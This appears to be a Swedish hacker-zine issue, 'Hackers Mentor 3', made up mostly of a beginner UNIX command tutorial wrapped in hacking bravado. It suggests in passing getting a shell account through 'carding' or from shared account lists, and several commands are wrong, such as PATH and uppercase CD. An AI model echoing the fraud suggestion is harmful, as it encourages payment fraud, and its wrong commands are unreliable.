 
The third book of 
Hackers Mentor

The Hackers Mentor third book. Step #3.

::::
::::::::
:::::::::::
:::::::
::::


The Hackers Mentor 3

Vlkommen till den tredje boken av Hackers Mentor.. The Orange book. Hackers Mentor r en serie
guider inom hacking, phreaking, cracking, carding och elektronik som har skickats ut till
prenumeranter i Sverige. The Hackers Mentor White Book  var den frsta boken bestende av 10
Hackers Mentor delar. Hr kommer trean, innehllande en massa nya godsaker! =^)...

Hackers Mentor ges ej lngre ut som E-Tidning .. Allts, den skickas inte lngre ut som kortare 
sm nummer till en massa svenska prenumeranter, den finns och grs nu endast som bokversion!  

Nu brjar vi avancera lite! Nu ska vi lra oss om C++ och UNIX! Det blir la rolit??
Det r faktiskt ett MSTE! Och om du INTE lr dig detta s kommer du ALDRIG kunna kalla dig fr
en riktig hacker! ven om det r trkigt och du inte riktigt hnger med,, s ls vidare! Och ls om och 
om igen s att du LR DIG allt som str i boken! Nu brjar den riktiga hackingen ta vid.
Sjlv, nr jag skrev kapitel 1 om UNIX i den hr boken, tyckte jag att det var jobbigt och segt..
Men efter ett tag lttar det, efter en liten stund brjar det sitta. Till sist strcker man p sig,
ler och gr och hmtar en Jolt i kylskpet.. Ja!! Jag KAN det! Fy fan va kul. Det lttar,
i slutet av UNIX kapitlet, om du lst det, klarat av att frst allt och kommer ihg det mesta,
s kommer du m bra!

/Mathreon. (Numera  Icecoder).

* Ni tycker kanske att det bara blir svrare och svrare att frst vad jag menar eller kanske det
helt enkelt blir fr svrt att komma ihg allt, Det beror p att jag sjlv redan kan allt det jag skriver
och helt enkelt inte riktigt minns hur jag sjlv skulle vela ha det skrivet, nr jag sjlv INTE kunde
det jag nu skriver om Jag skulle kanske behva ngon av er lsare till hjlp i detta tillflle.
Men ls NOGGRANT! Spnn gonen p texten och ta p dig tnkarluvan! Det fr ta den tid det tar
men du MSTE, MSTE, MSTE lra dig det som str! Och jag frsker frklara s gott det gr!
Dock kan det vara svrt att hlla den takt som ni vill ha,, men det fr ni ta! Tyvrr. *

OBS: Om du inte har lst bok nummer 1 & 2. The White Book & Yellow Book., och inte heller 
ngra andra texter, s rekommenderar jag att du GR det! Du hittar alla nuvarande bcker p 
www.insecurefoundation.cjb.net ELLER www.haxerz.com. Eller 
www.crosswinds.net/~insecfoundation/main.html



BOKEN SER BST UT I MICROSOFT WORDS OM DU HAR SKRM INSTLLNING 
P 800x600 Bildpunkter och Wordwrapping pslagen. Annars ser den bra ut i HTML
format. Du hittar DOC och HTML formaten p vr hemsida. (hemsidor).

OM DU EJ SER BILDER, UTAN STORA, TOMMA FLT I TEXTEN, S SLPP
MUSEN OCH VNTA LITE, D LADDAS BILDERNA IN P DIN SKRM!

PS: SKRIV UT BOKEN! DEN R GJORD FR DET! DET 
KNNS LTTARE ATT LSA DEN S.







Nu ska vi titta lite p hur ditt kunnande om hacking kommer vara beroende p hur mycket och spritt
du lser! Se fljande tabell:

 
[Lista 0.1  Hur bra kan du bli?]

D ska vi se
En ETTA r det bsta du kan ha hr. En sjua r det smsta!
Vilket passar in p dig? Vilket exempel vill du flja? :

7 =  Du lser ingenting! Det enda du gr r att leka med NetBus och Kaboom!3 mailbomber och 
prata med dina lamer kompisar om hur mycket data du kan! ( Du kan FR LITE!!! )

6 = Du har slngt ett ga p Hackers Mentors tredje del om NetBus. Du beter dig som 7n men 
      lser lite grann om hur man anvnder Netbus och Winnuke mm..  ( Lamt! Mycket lamt! )

5 =  Du lser varje del av Hackers Mentor men frstr nstan ingenting. Du hller p som 7n och 6n 
fast lite mer serist. Du VILL lra dig! Du VILL lta NGON lra dig! Bingo! Du har hittat rtt 
guide, synd att du inte r tillrckligt smart bara!

4 = Du lser Hackers Mentor och fattar det som str. Du lser dessutom de texter som diox1de 
(Knash^) gav ut fr 1 r sedan! Ok,, du har en frmga att fatta och en vilja att lra! Du brjar 
komma ngon vart! (dock programmerar du fortfarande i BATCH, eller?)

3 = Du lser Hackers Mentor, Du lser en massa andra texter om hacking och phreaking och allt 
mjligt som du hittar p diverse hacking arkiv. Du fattar nstan allt! Du r snppet bttre men p 
ungefr samma vg som 4n.

2 = Du lser Hackers Mentor, Alla delar! Du lser en massa annat ocks (Frn GHAs textarkiv,) du 
lser och lgger in egna insndare p Flashback och BugTraq. Du lser UNIX bcker och en guide om 
C++, Du har lst VB och kommer in lite p Perl. Du gr till biblioteket varje mnad och lnar en ny 
bok om ett operativsystem eller programmeringssprk. Bra!! Du r ju p helt rtt vg! Dig kommer det 
bli ngot av! Fortstt p det spret!
 
1 = Wow! Du r bern som gnar STOR tid t att lsa och lra! T.o.m. strre tid n 2an!
(Allts ngra timmar om dagen!). Du HAR LST Unix, Assembler, VB, Perl, C/C++,
alla Hackers Mentor,, du kommer lsa alla senare Hackers Mentor. Text arkiv? Tss! Du har redan tmt 
alla! Du lser nu ALLT som du kan hitta om data! Du lser t.ex.. Avancerad C++ i ntverk, 
Atari programmering, avancerad cracking, Systemering, OS programmering, ja ja ja,, du KAN ALLA 
termer och ord, du VET vad alla frkortningar str fr. Du har varit med lnge, men slutar inte lsa
Du kan allt om firewalls, inet-camera, kan en hel del 3D och Spel programmering, ljussttning,
webbdesign, JA! Det mesta! Du har bara PDP datorerna och Atari programmeringen kvar! Om ens 
det! Du kanske t.o.m. r med och forskar fram ett nytt ntverk? Nya tjnster, programmerar skerhets
software fr olika fretag.. 



S.. vad vill jag f fram hr???

Pongen r.. DU BLIR INTE NGON BERHAXXOR AV ATT LSA ENBART 
HACKERS MENTOR! Du MSTE lsa en hel jvla massa andra saker! Lna bcker, lsa texter och 
E-Zines, prata med folk p IRC, Du mste tmma vartenda hacking arkiv p texter, ls alla tutorials du 
- hittar och frga efter nya p IRC! Men.. vi kommer en lng vg med Hackers Mentor. Dock MSTE 
du lsa en massa andra texter och bcker ocks! Annars gr det aldrig!

( Fr er som nu sitter och sger, hh. Fy fan va dligt. kommer en lng vg med Hackers Mentor..
Hah! Kolla bara,, NetBus, HakTek och anonymt mail! Fy fan va tntigt. De kommer ju ingen vart.. ,

- Vi r n s lnge bara i BRJAN av TREDJE boken! Nu ska jag brja tjabbla om UNIX och C++,
Lter inte det ganska bra? Vi har ju fan 8 bcker kvar! Ni kan vara lugna,, ven om det nu tar lite tid
fr mig att skriva och komplettera bckerna, s kommer de. Och nsta gng blir den lite mer
avancerat, Innan vi slutar ska du i alla fall vara s kunnig att du kan brja jobba som programmerare
eller skerhets ansvarig p ett fretag, skryta infr IRC kompisar med dina kunskaper och visa din
mackt p betydligt hgre stadium n nuking och flooding ! ;-).

Jag frsker att hlla boken inom s lagliga grnser som mjligt frn och med den hr boken.
Men lugn! Ni kommer att f lra er lika mycket om skerhet som frut. Dock lite mer som,,
SKERHETS aspekt ,,, frn den skerhetsansvariges gon. I nsta nummer kommer jag bland annat
prata om SYN flooding, sniffers, carding och s klart, fortstta med UNIX och C++.


_   INDEX:___________
Kapitel 1: UNIX
Anvnd Unix fr frsta gngen. Lr dig behrska systemet  och  de enklaste kommandona.

Kapitel 2: C/C++ Programmering.
 Lr dig det hederliga hackingsprket C++! Skapa egna program fr Windows.

Kapitel 3: Inspirations stund
En liten saga fr att ge mera inspiration att lra!.  Tomteverkstaden.

Kapitel 4: Vad du gr nr du ftt root i ett system.
Anvnda Unix och telnet fr att g vidare i ditt hackade system.

Kapitel 5: Smurf Attacks
S gr det till, s hr gr du fr att smurfa ngon av ntet.

Kapitel 6: Mera UNIX
F igng Internet, konfigurera ntet och ntverkskortet. Internet tjnster mm..

Kapitel 7: Dreamhack 2000
HaxerZ har varit p Dreamhack 2K i Borlnge. Nordens / Europas(?) strsta demo party.
Hur var det? Hur gick det till? Nyheter och skvaller ;-).


Kapitel 1: UNIX

Nu har du passerat s gott som alla de nybrjar stadier du kan tnka dig, och r p god vg
att lyckas som hacker. Den hr boken kommer ven hjlpa dig p vgen till att bli dataexpert
p ett fretag eller som skerhets expert hos Internet polisen!. Utan den hr boken klarar du dig
helt enkelt inte! Du mste lra dig Unix och C++ i vilket fall som helst! S det r bara att stta
igng! Hr r frsta kapitlet, den frsta timmen p din vg mot IT Miljonrs jobben!


* ALLA HACKERS ANVNDER UNIX (?) *

Nej, tyvrr. Det stmmer inte. ven om alla sger s. Dock mste en hacker kunna t minstonde
grunderna i Unix fr att klara de krav som stlls dr ute p ntet. Det r faktiskt s att s gott som
alla servrar p Internet anvnder sig av Unix. Och hur ska du mjligen kunna hacka en utan att ens
veta om vad ls, cat och /etc betyder?

Innan vi kan hja ribban och brja hacka servers p allvar, behver vi lra oss Unix. S nu kr vi
igng! (Frst, om du inte visste det, s r Unix ett operativsystem, som Windows, fast mer avancerat
men mycket bttre och snabbare. Unix utvecklades hos AT&T i USA i slutet av 60 talet).

1. Jag tnker inte bertta hur du installerar Unix / Linux. Det r en halv bok i sig. Det finns mnga,
enkla instruktioner till det nr du skaffar systemet. 

- S hur skaffar jag Unix / Linux ? 

Det finns mnga svar, det vanligaste och billigaste r att ladda hem det. Det kostar sin tid p ntet,
men om du jmnfr det priset med att kpa systemet i butik, s sparar du mnga sedlar!
Jo. Du kan kpa det i butik. Sjlvklart. www.linuxbutiken.se r en adress som jag tror fungerar,
Du kan ju ven titta in hos riktiga butiker i stan. Men rkna med kostnaderna!
Dock r nog det bsta alternativet att kpa Unix ver disk.


Ngra olika varianter av Linux/Unix/*NIX Baserade system r:

Slackware Linux ( Bsta valet tycker jag (3.6 rockar ;-)  )
SuSe Linux
RedHat Linux
Dragon Linux ( Test version )
Corel Linux
Caldera Open Linux
FreeBSD ( BSD System )
System V ( En av de ldsta versionerna av UNIX )
POSIX, HP-UX, Solaris, AIX

Detta r bara toppen p isberget. Det finns en MASSA olika versioner!
Och det enda sttet att vlja p, r att frga i butiken, lsa p Internet eller
rent utav , testa systemen och se vilket som passar bst fr just DINA behov!

Innan jag sger ngonting mer vill jag bara frtydliga att Linux och Unix r ungefr
samma sak, och att det du lr dig hr, gller fr bde Linux och Unix.



UNIX R ETT FLERANVNDARSYSTEM 

Att Unix r ett fleranvndarsystem innebr att flera olika personer kan anvnda
systemet samtidigt. Detta d genom ntverk frstss. Utan ntverk inblandat, r det
du, och BARA du som anvnder systemet.
Fr att du ska kunna konfigurera systemet och f det att gra som du sjlv vill ha det,
s br du dock ha ett eget konto p den dator du anvnder. 
Eftersom att du kanske gillar C Shell bttre n din bror, som ocks ska anvnda datorn,
s r det ju vldigt bra om det finns tv olika konton! Ett med C Shell och ett med Bash. (Som din bror
- gillar). Du kan ocks ha ditt egna konto p en Unix server. Ett Shell konto!
(Jag berttar mer om shells senare). D mste system administratren, (den ansvarige fr servern), 
kunna hlla ordning p sina anvndare. Drfr tilldelas alla anvndare ett eget inloggningsnamn,
lsenord och en viss tkomst till systemet. Vi kommer i den hr boken frutse att du kr Unix p
din egen dator, utan uppkoppling, och p ett shell konto som ligger p din egen dator, och inte p
en server i USA. 

? Hur du skaffar ett shell konto

- Du kan p vissa system logga in som anonym anvndare. Men fr d mindre mjligheter att
rra dig i systemet, och du kan inte anvnda det till s mycket.

Du kan registrera dig fr ett gratis konto, men d kan du heller (i de flesta fall) inte anvnda kontot
fr s mycket, och kan inte t.ex. kra en IRC bot p kontot, nr du inte sjlv r online.

Du kan hyra ett konto. D fr du strre mjligheter att gra saker p servern, och kan kra program
som t.ex. IRC bots, ven nr du inte r online. Dessa konton kostar oftast inte s mycket, men r
hemskt anvndbara. Du betalar en viss summa pengar, en gng varje kvartal, mnad eller r, och
kontot hlls ppet fr dig.

Du kan kpa ett konto.  Betala lite extra, och du kan f ett konto som bestr i flera r!

Hur som helst..
Frn och med denna textsnutt frutstter jag att du har ngon version av Unix/Linux och
kr den p din dator.  Jag hoppar nu ver all historik mm.. Det knns verfldigt! 



OBS: Det r viktigt att du lser allt och lr dig allt som str i den hr boken! Annars gr du
bara i meningslsa cirklar utan att komma ngon vart!


1: Skaffa ett konto p din egen maskin, och logga in!

Denna del:

? Logga in och ut ur systemet
? ndra lsenord
? Vlja ett bra lsenord
? Ta reda p vem du r och vem datorn tror att du r
? Ta reda p vilka andra anvndare som finns i systemet
? Ta reda p vad alla andra gr i systemet
? Kontrollera instllningar, datum och tid.


[ En hel del lnat ur boken Unix p 24 Timmar och Know Ware - Linux ]


Frst, s br du ju knna till att den frsta gng du loggar in p systemet anvnder du det namn och
lsenord du valde nr du installerade Unix/Linux. Antagligen namnet root.

/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\

Det frsta du kommer se nr du kopplar upp dig mot ett UNIX system, eller bara startar Unix p
din egen dator, r en liten reklam banner med systemets namn, tid och datum. Samt en liten prompt:

4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
login:


Raden login:, frgar dig som du nog frstr, efter ditt konto namn. Om det ser annorlunda ut p din
skrm, s kommer du nd alltid, frr eller senare, till login prompten, dr du mste ange ditt
anvndarnamn och lsenord. Var noga med att anvnda sm bokstver om ditt system inte sagt annat!
Ett login vid man Icecoder skulle UNIX se som ett helt annat login n icecoder. :

Login: icecoder
Password:

Skriv in konto namnet och klicka p Enter knappen p ditt tangentbord. [Enter & Return r samma
sak! ] Vi nmner tangenten som Enter i den hr boken.
Nr du klickat Enter s kommer Password prompten upp. Den vill allts ha ditt lsenord,,,
Nr du skriver in lsenordet s kommer du sjlv inte kunna se vad du skriver p skrmen,
det r normalt! Bara s att inte din nyfikne kompis ska se vad du skriver, ver axeln p dig.

Om du skriver in felaktigt lsenord eller login, s kommer systemet svara med Login incorrect och
du fr, (i de flesta fall) tv frsk till. S se till att stava RTT och med STORA och sm bokstver
p rtt stllen! Exakt s som du ftt veta att det ska stavas! Aldrig med mellanslag!



Nr du har loggat in fr du se lite mer information om datum, vind och vder.. du vet.
Beroende p vilken sorts shell du anvnder, kommer du f se lite olika varianter av prompter.
Den hr prompten r i vanliga fall ett % tecken:

%
- som talar om fr dig att systemet r redo att ta emot kommandon.

En annan vanlig prompt r $. Det spelar ingen roll..
Din prompt kommer antagligen se ut p ett ungefr s hr:

4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
Login: icecoder
Password:
Last login: Fri Apr 8 19:32:12 on ttyAe
You have mail.
[/users/icecoder] :
(hackment) 3 :
founder@lords.com %


Din prompt behver inte se ut s hr, men den har i varje fall en unik
egenskap: Den r det frsta som str p raden dr din markr finns,
och den upprepas varje gng du har krt ett Unixprogram.

S ditt frsta Unix kommando:

exit

Fr att logga ut ur systemet. Prva det! Det stnger alla program och logar ut.
Sedan fr du en ny prompt vid vilken du ska skriva in lsen och login igen!

%exit
- Quit meddelande visas p denna rad -
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999

login:


Det r ocks mjligt att du kan avsluta sessionen genom att hlla in Ctrl-D.
Vissa skal fngar upp detta och frgar om du verkligen vill avsluta, vissa stnger
direkt.

( F ETT KONTO P EN SERVER )

Fr att f ett konto som du kan koppla upp dig till, (vilket jag rekommenderar)
S mste du antingen registrera ett konto p ngon server, eller g och hmta
ett fungerande frn www.cyberarmy.com/lists.
Man kan dock aldrig lita p att de kontona fungerar, eller s kan de vara under strng
bevakning, och d r det ingen strre gldje att hacka frn dem.
Det finns vldigt mnga hemsidor och fretag som lter dig antingen hyra, eller f ett
konto. Frstss r de konton som du kan f gratis vldigt dliga och fungerar sllan ven
nr du inte sjlv r online. Men det r alltid en brjan! Annars kan du ju carda ett konto.
Mer om carding i Red Book of HM. Jag frutser att du har ett konto nu.


Om du istllet r inloggad som root, allts som den anvndare som fr gra vad han/hon vill
i systemet, s kan du skriva adduser kalle fr att lgga till en anvndare med namnet kalle.
OBS: Ta bort citat tecknen! (som alltid)
Nr du skrivit den dr kodraden fr du en massa frfrgningar om olika saker.
Fyll i informationen och voella! Du har skapat en ny anvndare i systemet som inte har lika
stor valfrihet och access som root. Du kan anvnda det nya kontot fr att grva i ditt system utan att
ta ondiga risker. ;-).

BYTA LSENORD

Nu nr du vet hur man loggar in (frutsatt att du har ett konto!), s kan det vara bra
att veta hur du ndrar ditt lsenord. Detta lsenord kan vara vldigt viktigt att hlla
hemligt. S se till att inte skriva upp det p en lapp som du stmplar fast p skrivbordet
eller i vrre fall, p en gul lapp p skrmkanten!

Kommandot fr att ndra lsenord r passwd.
Det anvnds p fljande stt:



% passwd
Changing password for Icecoder.
Old password:
New password:
Retype new password:
Missmatch  password unchanged.
%

Hr r ett exempel. I mitt fall ndrade jag inte lsenordet. 
 Missmatch  password unchanged. 
betyder frstss att jag skrev in felaktigt lsenord och
d ndrades det inte!
OBS: Du mste vara inloggad p det konto dr du vill ndra lsenord! =^).

Jag mste genast uppmrksamma dig p skerhets kraven som du br stlla p dig sjlv!
Fr att ingen ska kunna gissa sig till, eller enkelt lyckas cracka sig in p ditt konto, behver
du anvnda ett trassligt lsenord. Grna runt 8 bokstver med bde siffror och bokstver.
Dock br du ju komma ihg lsenordet! Ett dligt lsen skulle kunna vara:

misse

(Som i detta exempel r namnet p din katt)
Ett annat dligt lsen skulle kunna vara:

a0a0a0

- Varfr det? Frgar du..  Drfr att vem som helst skulle kunna rka skriva detta, eller
i annat fall, om ngon bruteforce crackade mot ditt konto, s skulle crackern snart hitta ditt
lsenord! Anvnd inte grna enbart bokstver och siffror som kommer tidigt i alfabetet! Och
gr inte lsenordet fr kort!!


Et exempel p ett BRA lsenord skulle kunna vara:

dff9y4hu

Wow! Det ser trassligt ut! Hur skulle jag komma ihg det?
- Inte fan vet jag. Men det kan bli en ndvndighet!
Du skulle kunna ta, de frsta tre bokstverna i ditt frnamn, de tre frsta siffrorna i ditt hemnummer, 
Och de tre frsta bokstverna i ditt efternamn. 
(Ditt telefon nummer kanske r 094258831 och du kanske heter Adam Ohlsson):

ada094ohl

Jag tror knappast att ngon skulle testa detta. Men eftersom att jag nmner det hr,,, du kan ju
ta det lite omvnt:

ohlada094
eller
adaohl094
eller
ada138lho

( Det sista var med de sista tre siffrorna i ditt nummer och ohl Baklnges)


Du kan ocks ta lnga meningar som Jag e en leet guru p C++ och frkorta det till:
Jeelgpc. - Det skulle bli svrt nog, men du kunde nd komma ihg det!

Du kommer nog p ngot!



Hur gr det? Hnger du med? Jag freslr redan nu att du gr och hmtar papper och penna och
brjar dokumentera det du lr dig! Skriv ned alla kommandon som jag visar dig!
Du kan behva en fusklapp senare. Puh! Redan jobbigt. Hur ska du komma ihg allt?
Vi mste kmpa oss igenom den hr boken! Sedan blir det rockn roll! ? 
Lt det ta tid. Det finns ingen bttre vg en denna. Men ta pauser! Det kan du behva.

Nu,,,, nu fortstter vi.


SE VEM DU R P DATORN

Du r inloggad, beredd att skriva in kommandon. Utmrkt!
Medan du r inne i systemet kan du passa p att titta p vem du r, eller vem datorn
tror att du r. Det enklaste sttet r att anvnda whoami:

% whoami
icecoder
%

Prva nu detta kommando i ditt system!
Detta kommando visar allts vilket inloggningsnamn som du loggade in dig med.
98% av Unix kommandon ndras inte om du anvnder mellanslag, men i det hr
fallet blir resultatet ngot helt annat.

% who am i
hackment.servern.edu!icecoder     ttyp4   Feb 8  19:54
%

Hr fick jag veta en del om min identitet i systemet.
Prova och se vilket resultat det ger.

I det hr fallet r hackment den dator jag loggade in mig p och
icecoder r som vanligt mitt loggin namn. Hackment r allts mitt
vrdnamn! Och servern.edu r resten av domnnamnet.
Utropstecknet (!) skiljer domnnamnet och inloggnings namnet t.

tty r en frkortning fr teletypewriter och hrnstammar frn de riktigt
gamla Unix systemen som krdes interaktivt teleprinter. 
Det str fr en dator- eller terminaluppkoppling. 






Adressen: 

Hackment.servern.edu. Jag frklarar:
Edu = education. Allts r datorn indragen i ngon sorts utbildning. Ett universitet eller liknande.
Sedan Servern. Inom ntverket finns en server vid namn Servern som i sin tur hanterar
datorn dr kontot finns. (Datorn heter Hackment.) Detta bildar d allts en hierarkiskt adress!

Ett annat stt att ta reda p vem du r i Unix r via kommandot id.
Det r avsett att upplysa dig om vilken grupp du tillhr och om ditt kontos anvndar-ID
(uid = user ID). Skriv kommandot id och se vad du fr. Jag ser fljande:

% id
uid=211(icecoder) gid=50(users0) groups=50(users0)
%

OBS: i vissa system anvnds id fr att ta fram lgnivinformation om filer.

Hr ser jag att mitt kontonamn r icecoder och att mitt anvndar id r 211.
Precis som kontonamnet r anvndar ID t ngot helt unikt i systemet.

Sedan kan du se att mitt grupp ID (gid = Group ID), r 50 och att grupp nummer 50
heter users0. Och slutligen, att det r den enda grupp jag tillhr.

Se vilka som r inloggade

Du kan enkelt se vilka som r inloggade med kommandot users:

% users
icecoder marcos steve xeroz
%

I det hr fallet var icecoder, marcos, steve och xeroz inloggade i systemet.
Fr att f mer information anvnder vi who:

% who
icecoder    ttyp0    Feb  6   14:10   (limbo)
marcos      ttyp2    Feb  6   06:52   (calliope)
steve         ttyp4    Feb   4  12:37   (dent)
xeroz        ttyp4    Feb   6   13:04  (osiris)

Hr fr vi information om de inloggade!
Datum fr inloggningen, tid, vilken typ av ttyp som alla r inloggade via
och vilka system de r anslutna frn.

- Det str mig att xeroz anvnder samma namn p system som Tsutomu i filmen
Operation Takedown! ;-).

Om du nu vill se NNU mer information, till och med vad alla i systemet GR, s ska
du helt klart anvnda kommandot w:

% w
-
-
-
-
%

Hr kommer du nu f se en drs information, som jag faktiskt inte orkade skriva. (ok, det r inte S
mycket, men just nu nr jag skriver detta s r klockan 00:49, och jag mste upp klockan 08:00 i
morgon, s jag tycker inte att jag har TID, [dock hade jag visst tid att skriva detta!]. hehe,,
Du fr i alla fall veta i vilka program som de inloggade jobbar fr tillfllet, samt en del annan info.


Kontrollera Datum och Tid

Fr att enkelt se hur mycket klockan r, och vilket datum det r S kanske vi borde anvnda time.
Men nej.. Testa det kommandot s fr du se vad som hnder!:

% time
14.5u    17.0s   29:13   1%      172+217io      160pf+1w
%

- Det gav inte s mycket.

Fr att f veta det vi var ute efter, s anvnds date kommandot:

% date
Tue   Feb  5    15:07:42   EST   1999
%

S! Nu fick vi se det vi ville se. 
Tue = Tuesday = torsdag
Feb = Februari = februari
5 = femte
15:07:42 = sju minuter ver 3 p eftermiddagen. ( Plus 42 sekunder ).
r 1999.

Du frstr skert! ;-).


Kapitel 1. Del: 2.  F hjlp i UNIX 

Nu nr du vet hur man loggar in, ut och fr en del information om systemet,
s r det andra du behver lra dig i detta nya system, att kunna f hjlp med olika saker.
Den hr boken rcker vldigt lngt, men du kommer nd i situationer d du behver
veta ngot som ej stod med i boken.

Det finns en del att veta om det frsta kommandot, man. Som jag nu ska bertta om.
Men fr att vi ska hinna och orka lsa den hr boken tar jag bara med det mest ndvndiga.

* ( Jag kommer vidare genom alla Hackers Mentor att prata om Unix och ge dig nya kommandon
samt upprepa de som vi tidigare lrt oss. S du kommer att lra dig Unix bara du lser allt! 
- Efter alla lektioner i Unix kommer du vara en expert som kan g till Flashback i god tro! ;-) ). *

Man  kommandot fungerar som sdant, att du frst skriver in man och sedan det kommando som
du vill ha hjlp med. Det kan se ut p fljande vis:

% man mkdir

** EN MASSA INFO OM KOMMANDOT MKDIR KOMMER UPP **

%

Hr kommer som sagt en massa information att visas. Och det kan se lite olika ut beroende p vilket-
-shell/System du anvnder. 

Man kommandot r vldigt bra och kan ofta komma till anvndning.

Man r frvrigt en frkortning av Manual. Och tcker varje kommando som finns
i hela Unix. Du kan ven anvnda vxeln k som str fr keyword om du har glmt
bort vad ett kommando hette, men mins vad det gjorde.
(Mer om vxlar senare).

Fr att anvnda vxeln k s skriver man p fljande stt:

% man k disk
**
%

Ni frstr skert principen. Man  sidorna r indelade i nio sektioner.
Du ser alla sektioner i listan nedan. Det r till fr, att om en du vill ha hjlp om ett kommando
som ligger i sektion 1, men det finns ett kommando med exakt samma namn i sektion 3.
D mste du ange vilken sektion Unix ska leta i efter kommandot.

Sektion	Innehll
1	Anvndarkommandon
1M	Systemunderhll
2	Systemanrop
3	Biblioteksrutiner
4	Administrativa filer
5	Diverse filer
6	spel
7	I/O- och specialfiler
8 Administrationskommandon

---------------------------------------------------------------------------------------------------------------------------

Ett annat kommando: apropos

Med kommandot apropos kan du f en massa information om olika kommandon. Precis som med
Man , men lite mer avancerat. Visar filnamn och snt. =-).

Ytterligare ett kommando: whatis
Anvnds som:

% whatis cd
cd[1]       - change working directory
%

Du kan ven testa whatis whatis:



% whatis whatis
whatis[1]      - display a one-line summary about a keyword
%

Hr fr vi allts veta:
? Att whatis och cd ligger i sektion 1.
? Att whatis kommandot anvnds fr att visa en-rads information om olika kommandon.


S enkelt var det.

Andra kommandon som man kan testa i Unix system (nr du har lyckats hacka dig in) r:
help och ?.
Testa med de bda, det frsta du gr i ett hackat system. Fr att f fram information om
just det aktuella systemets kommandon. (Beroende p skal format mm..).


Tips: Vissa kommandon fungerar om du lgger till vxeln h.
Testa!:

% ls h
usage: ls [-acdfgilqrstu 1 ACLFR ] home

I exemplet ovan (frra sidan). Fick vi veta att kommandot LS kunde anvndas med vxlarna:

-a ,-c ,-d ,-f ,-g ,-i ,-l ,-q ,-r ,-s
-t ,-u  ,-1 ,-A ,-C ,-L ,-F ,-R
och
-home

- I vissa system fr vi i stllet upp en listning av filer. ( Kommandot ls anvnds fr att visa en
lista ver alla filer i den aktuella eller ngon annan katalog).



Kapitel 2. Del: 3. Hantera och frflytta dig i filsystemet.
------------------------------------------------------------------------------------------------------------
I denna del:

? Hur listar jag filer och kataloger?
? Hur navigerar jag i systemet?
? Hur fungerar Jed? ,,, texteditorn.
? Omdirigering
? Rrledningar
? Enkel C programmering i Linux.


Unix anvnder sig av ett s.k. hierarkiskt filsystem.
Det betyder att det (som i Microsoft Windows/ DOS) har en versta enhet
och under den en massa kataloger och i de katalogerna, en massa andra kataloger.
En sorts rang ordning.



Unix skvgar ser dock annorlunda ut Windows.
C:\Windows
Skulle i Unixs fall ha varit:
/Windows
Dessutom har man en egen home katalog. En hem katalog allts.
Det r i den hemkatalogen man alltid startar, och man frflyttar sig tillbaka dit
genom att skriva HOME och klicka p Enter.



Fr att se vilka andra filer och kataloger som finns i den aktuella katalogen, s anvnder
du kommandot ls.:

% ls
Archives       MAIL    RUMORS.18sept
InfoWorld     News     bin
LISTS           OWL     ieecc.list
%

OK. Hr fick jag nu se en massa filer och kataloger. Men hur vet jag vilka som r filer
och vilka som r kataloger?  Genom vxeln F frstss!!
Hr r en massa andra vxlar fr ls:
(nsta sida).


Vxel:	Betydelse:

-l	Framtvinga en fillistning i en spalt
-a	Lista alla filer (samt dolda)
-C	Lista i flera spalter
-d	Lista katalognamn istllet fr deras innehll.
-F	Visa filtyper; / = katalog, * = program, @ = symbolisk lnk.
-I	Lista kataloger och filer i lngt format.
-m	Lista filer i en komma separerad lista.
-r	Vnd p sorteringen.
-R	Visa kataloger och deras innehll rekursivt.
-s	Visa filstorlekar i block. ( 1 block normalt = 1 024 bytes)
-t	Sortera utmatningen med de senast ndrade filerna frst.
-x	Sortera utmatningen horisontellt.

Du kan ven kombinera vxlar. S, om du vill se alla filer i flera, fina spalter, s anvnder
du kommandot ls tillsammans med vxlarna a och C:

% ls a C
blabla      .blabla
blabla      .blabla
.blabla     blabla

Du ser hr att alla filer heter blabla. Men framfr vissa r det en punkt.
Alla dolda filer i Unix har en punkt framfr sig!
- D vet du det. F se.. vad ska vi ta och lra oss nu d..??



Jo.. Frst och frmst mste jag presentera de viktigaste katalogerna samt ge dig lite info om vad
som finns inuti dem.

/bin
Frkortning av Binaries. Platsen dr Unix frvarar alla sina 
krbara filer.

/dev 
Dev r en frkortning av Devices. Och i den hr katalogen ligger alla
Unix drivrutiner. Utan dessa skulle du inte ha ngon information p -
- skrmen. Drfr hr DEV till ngot av det viktigaste i Unix.

/etc
Detta r en av hackarnas favorit kataloger! ;-). Hr finns bland annat filen passwd som
innehller alla i systemets login namn och lsenord. 
ETC r lagringsplatsen fr alla Unix systemadministrativa filer.
Frkortning fr etcetera.

/lib
Unix har en central lagringsplats fr s.k. biblioteksfiler (libraries) med funktioner och
procedurer. De ligger i katalogen lib. Det r krbara filer som hr till vissa bestmda-
-program och hjlper dem med funktioner och kapacitet som de annars inte skulle ha.
Tanken r att om ett program vill nyttja en viss funktion ska det kunna anropa den i ett
funktionsbibliotek istllet fr att sjlva behva innehlla den.


Det finns ett antal fler kataloger, men sorry. Orkar inte ta med dem hr och nu. :-/.
/lost+found , /mnt,  /sys, /tmp, /usr ? Dessa r de som jag skippar.

Nu hade jag tnkt att fortstta med lite kommandon.
Du vill antagligen flytta dig lite i systemet och titta p filer mm..

Fr att se vart i systemet du befinner dig anvnder du kommandot PATH:
$ PWD
Du fr veta vart du r.. Frflytta dig sedan Med cd eller path:
$ PATH HOME
Detta tar dig hem till din hemkatalog.
$ CD ../
Detta flyttar dig ett steg upp i katalogsystemet.
Som sagt, UNIX har ett hierarkiskt filsystem, precis som Windows.
C:\Windows\System\
Frst kommer C:\. Den versta och frsta. Sedan kommer Windows\.
Sedan System\. Detta r ett hierarkiskt filsystem.

Nr du anvnder kommandot LS fr att lista filer s kommer du se tv filer
vid namn ./ och ../.  ( ./ = Den katalog du just nu befinner dig i . Obetydlig).
(../ = En katalog hgre.) Den sista, ../ r ganska viktig. Eftersom att du frmodligen-
-vill flytta dig uppt i systemet! Vi sger att du befinner dig i katalogen qwerty som r en
underkatalog till hack. Fr att lista filer i katalogen rewt som ocks den r en underkatalog till
katalogen hack, s skriver du allts:
ls ../rewt


Mer om allt detta s smningom. 

Nu kan det vara lagom att g in lite mer i vardagslivets sidor av UNIX.
